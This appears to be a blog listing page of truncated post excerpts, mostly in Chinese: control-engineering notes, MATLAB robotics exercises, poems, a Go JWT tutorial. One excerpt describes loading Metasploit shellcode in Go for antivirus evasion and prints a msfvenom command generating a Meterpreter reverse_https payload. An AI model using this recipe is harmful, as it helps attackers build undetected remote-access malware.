面向动态平衡的独轮车串级PID控制设计 一、问题描述 1.1 研究背景 随着社会经济与科技的飞速发展，以服务机器人、自动平衡车为代表的智能移动平台在物流、个人出行及特殊作业等领域的应用日趋广泛。在众多平台中，独轮车凭借其结构紧凑、高机动性与零转弯半径等独特优势，在狭窄及复杂环境中展现出巨大的应用潜力，因而受到了学术界与工程界的广泛关注。 然而，制约独轮车发展的核心瓶颈在于其固有的不稳定

黑色眼泪 倒转的光影， 在凌晨三点醒来。 画上浓重眼妆， 掩盖住，眼角蔓延的裂痕。 疯狂追赶， 窗外凄厉的轰鸣。 窗格切割了夜色， 霓虹乱闪，像口吃的遗言。 一滴墨，沿着脸颊的弧度， 寻找，那场未曾预告的雨势。 黑色的眼泪，和着雨水， 世界在眼前晕开。 黑色的雨水，或者那是眼泪， 一抹颜色在水里散开。 趁夜色，带走泄露的秘密， 随乱雨，尽情地飞溅。 别去擦

黄金碎片 并未在一起， 离别亦无从说起。 只是两道目光， 曾在时光的罅隙里相触， 却未能走到彼此身边。 犹如闪烁的黄金， 骤然四散于风中， 散落成无数碎片， 在空旷里摇曳、沉默。 那火早已熄灭， 你却又唤醒它， 让余烬在我沉寂的胸口复燃。 这片艰难长出青苔的荒原， 如今又要被燎得寸草不生。 留下我， 独自地， 在这无边的夜里， 被滚烫的灰烬反复灼烤。

时维季秋，金风乍寒。三载悬心之石，于兹落地；数度惊魂之梦，自此尘安。然胸中无半点奔腾之喜，心底惟万顷空旷之寒。独坐窗下，见疏影渐长，思前路漫漫。忆我少年，自束发总角，行至弱冠，一路奔走，一路迷惘，不知此身为何物，不知此心归何方。今微有所成，而惑愈以深。感而成文，名曰问尘。 揽名校之桂枝兮，心若空谷；获师长之佳誉兮，意如浮萍。嗟我三载，倏忽而过，如白驹之经隙，似朝露之无踪。曾也闻鸡起舞，孤灯为

总结一下jwt的使用 从22年旧博客贴过来的文，稍微进行了整理。 1. 安装 终端安装即可： 1go get github.com/dgrijalva/jwt-go 2. 使用 首先定义结构体用来生成token 12345type Claim struct { Id int User string jwt.StandardClaims} 其中jwt.St

这是哪？ 什么时候我又来到了这里？ 身体自己动了起来。 在找什么呢？ 却一直徘徊在这无端的河岸。 没有桥没有船。 只有我。 只有我吗？ 那是谁？ 有人伫立着， 就在对岸。 过去了多久？ 好像有什么东西藏着， 我踯躅着不敢上前。 你是谁？ 迷雾

robotics section 7 matlab practice 题目 problem 代码 a 123456789101112131415161718192021222324252627282930313233343536373839404142clear%定义已知量syms theta_s theta_f t_ftheta_s=120;theta_f=60;t_

golang加载msf shellcode分离免杀 1 生成shellcode 使用msfvenom生成shellcode 1msfvenom -p windows/x64/meterpreter/reverse_https lhost=x lport=x -f c 经测试不对shellcode进行编码也可免杀。 2 配置msfconsole 12345678msfconsole

pole assignment & lqr tracking simulation for modern control theory 0 题目要求 假设在惯性坐标系下移动机器人的坐标为\(O=(x,y,θ)^T\)，参考机器人的坐标为\(q_r=(x_r,y_r,θ_r)^T\)，跟踪误差坐标在载体坐标系下的坐标为\(p_e=(x_e,y_e,θ_e)^T\)。 （1）通过载

robotics section 5 jacobian matlab practice 题目 problem1 problem2 代码 1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606